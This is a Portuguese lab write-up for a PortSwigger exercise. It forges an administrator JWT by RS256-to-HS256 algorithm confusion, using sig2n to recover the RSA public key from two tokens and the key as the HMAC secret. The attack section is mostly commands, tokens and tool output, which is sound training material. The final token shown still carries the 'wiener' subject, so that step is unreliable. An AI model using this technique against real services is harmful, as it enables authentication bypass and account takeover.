> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/jwt/jwt-authentication-bypass-via-algorithm-confusion-without-public-key.md). # Bypass de autenticação JWT via confusão de algoritmo sem chave pública exposta ### Bypass de autenticação JWT via confusão de algoritmo sem chave exposta #### Contexto do laboratório Usamos **JWT** para gerenciar a sessão. Os tokens são normalmente assinados em **RSA (RS256)** com um par de chaves robusto: * chave privada: assinar JWT * chave pública: verificar JWT A vulnerabilidade vem de uma implementação incorreta: o servidor aceita um JWT declarado em **HS256** e reutiliza a **chave pública RSA** como **segredo HMAC**. **Objetivo:** obter um JWT válido com `sub=administrator`, acesso `/admin`, então excluir **carlos**. #### Recuperação de dois JWT RS256 Conectamos com `wiener:peter` e obtemos um primeiro JWT RS256: **TOKEN 1** ```bash eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MzEwOCwic3ViIjoid2llbmVyIn0.lZHvRKbIYjTSoGxUCW8Bho06m0rxBSkXPY4WI86aEXjUGY9N1Ntv1GFxOLn-sZio3Mf287bS-FkmbVNHyiWrrf2azNXaaI9MS8JIiVfr2mV0HkMrinRIwEXaL0L_muUc1qZRBKqhbuhTR90MnwEoNkKKNfQG0ry8-Pp5PZnN_BdQVzJyZonlURoPZI80fXO85jdo9s1vs5Qs3QFzj0qaoJ_VZJH8ssLDeZ-KlcncQfSTqtZaqFILjKpmwzfcACMqCyGQ6RsB1Xf3ooXl4Y-i6hOsv4vUwGtvWGNZFHHs18uyi57MGNPK21UN29CHYSVOSerOrPYaMPanrSRz47AeZA ``` Depois, desconectamos e reconectamos para obter um segundo JWT RS256 (mesmo `kid`, assinatura diferente): **TOKEN 2** ```bash eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1NDQ3NCwic3ViIjoid2llbmVyIn0.L9arTDo1Jb0NJ1dY2dsh-tnXH_VmBDNtycmgZtPYSLdMqOSAi0v46n1lfzZApEBwW7IYcl-Los-bZY7B7e0NGL97VfbAYiYuaxZZjNCaigxc7JlCnErvEDwmgdkrzA91APad9SjFbEUzbemzguBI6pQ5Mjwb3T3VaKrs5HodRl-LYGycs7l4O4GOZXzOrZuzEtDRJiJ2-OOqRstgzAtnQS2JlK75MKW_TtQTxTgVrCufperWcUG_cXG-nyh35gzdwTFXDHeH4yOlRzaEYF20IeczFi3F2P262cdNYHRi4TLeEQVf-4e_JO0XuIt3r5qTElRBeeXaYERYxmTKWVHoQA ``` ### Reconstrução de uma chave pública RSA válida com `sig2n` Usamos o `sig2n` ferramenta (PortSwigger) no Docker para reconstruir uma chave pública a partir de **TOKEN 1** e **TOKEN 2**: ```bash docker run --rm -it docker.io/portswigger/sig2n / 'TOKEN1' 'TOKEN2' ``` Com nossos dois tokens completos: {% code overflow="wrap" %} ```bash docker run --rm -it docker.io/portswigger/sig2n / 'eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MzEwOCwic3ViIjoid2llbmVyIn0.lZHvRKbIYjTSoGxUCW8Bho06m0rxBSkXPY4WI86aEXjUGY9N1Ntv1GFxOLn-sZio3Mf287bS-FkmbVNHyiWrrf2azNXaaI9MS8JIiVfr2mV0HkMrinRIwEXaL0L_muUc1qZRBKqhbuhTR90MnwEoNkKKNfQG0ry8-Pp5PZnN_BdQVzJyZonlURoPZI80fXO85jdo9s1vs5Qs3QFzj0qaoJ_VZJH8ssLDeZ-KlcncQfSTqtZaqFILjKpmwzfcACMqCyGQ6RsB1Xf3ooXl4Y-i6hOsv4vUwGtvWGNZFHHs18uyi57MGNPK21UN29CHYSVOSerOrPYaMPanrSRz47AeZA' 'eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1NDQ3NCwic3ViIjoid2llbmVyIn0.L9arTDo1Jb0NJ1dY2dsh-tnXH_VmBDNtycmgZtPYSLdMqOSAi0v46n1lfzZApEBwW7IYcl-Los-bZY7B7e0NGL97VfbAYiYuaxZZjNCaigxc7JlCnErvEDwmgdkrzA91APad9SjFbEUzbemzguBI6pQ5Mjwb3T3VaKrs5HodRl-LYGycs7l4O4GOZXzOrZuzEtDRJiJ2-OOqRstgzAtnQS2JlK75MKW_TtQTxTgVrCufperWcUG_cXG-nyh35gzdwTFXDHeH4yOlRzaEYF20IeczFi3F2P262cdNYHRi4TLeEQVf-4e_JO0XuIt3r5qTElRBeeXaYERYxmTKWVHoQA' ``` {% endcode %}
A ferramenta retorna os seguintes valores da chave: * **Chave x509 codificada em Base64** (chave pública) * **JWT adulterado** (teste de JWT HS256) No nosso caso, a chave x509 retornada é: {% code overflow="wrap" %} ```bash Encontrado n com multiplicador 1: Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg== JWT adulterado: eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE Chave pkcs1 codificada em Base64: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQTU5WTVQU3F1T1lReWoxM3lFbzhRZk1BMlZsV0xWQ0U2RHNYak9iV0lhajFuNFIyQ3hrWnAKL3dJWnVvai96RHVFU0ZaMlN2WERyYy9vYThTSGI0Tlk2ZjRNYnV0bE9XNFBOWmFDQnRsS3A3Uk9kOTRPZEpiaAp6aXFYTGlJa1hQbFQxc251RXZ3bjREYmh2aTU0ckJzTUFhOCtPdVpSZTFpRFhZK0lDZlROeUpoYXMzbmtGZlF6Cmp2K2NjaURDbHJhekVEVFhFb1lOMmVPc2JrOHo5WVJCSzFlWlJDSjcyVHJNM0t5Q0xEWDhPZHFoSFBZTDZFWXQKby9BanlLTENqa0tZTDlLZURqdFBld0NrZ1hnZDAxNE1EbEcxdmkwVUp4QSsvSVRTUW1lSTNrUnNrNGZNcVBkTwpjT0RGRFp1cEx4UTJxOGp1WElhY0xuWE5jSE5XaGJkbWRRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K JWT adulterado: eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.6-Bl3s-41GcEODbZRG-WzqWgYImkdXfHrBvT4J5hC8M ``` {% endcode %} #### Teste: validando um JWT HS256 adulterado Testamos o JWT HS256 fornecido por `sig2n`: ```bash eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE ``` Servidor aceita
Portanto, a chave pública reconstruída pode ser usada como segredo HMAC. ```bash LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg== ``` #### Criando uma chave simétrica (oct) com a chave pública Criamos uma **oct** chave cujo `k` valor é a chave pública em Base64: ```json { "kty": "oct", "kid": "67e88947-afdf-4c47-af1b-8afcc4b79b58", "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==" } ```
#### Forjando o JWT do administrador Payload (passamos para `administrador`) ```json { "iss": "portswigger", "exp": 1767554474, "sub": "administrator" } ``` Cabeçalho (alterar para HS256 e manter o esperado `kid`) ```json { "kid": "658001cf-6704-456b-983e-7ab4373ff03b", "alg": "HS256" } ``` Em seguida, assinamos este JWT em **HS256** com a chave simétrica criada (segredo = chave pública).
#### Exploração 1. Substituímos o cookie JWT pelo nosso token HS256 forjado. 2. Vamos `/admin`. 3. Excluímos o usuário **carlos**. ```bash eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE ```
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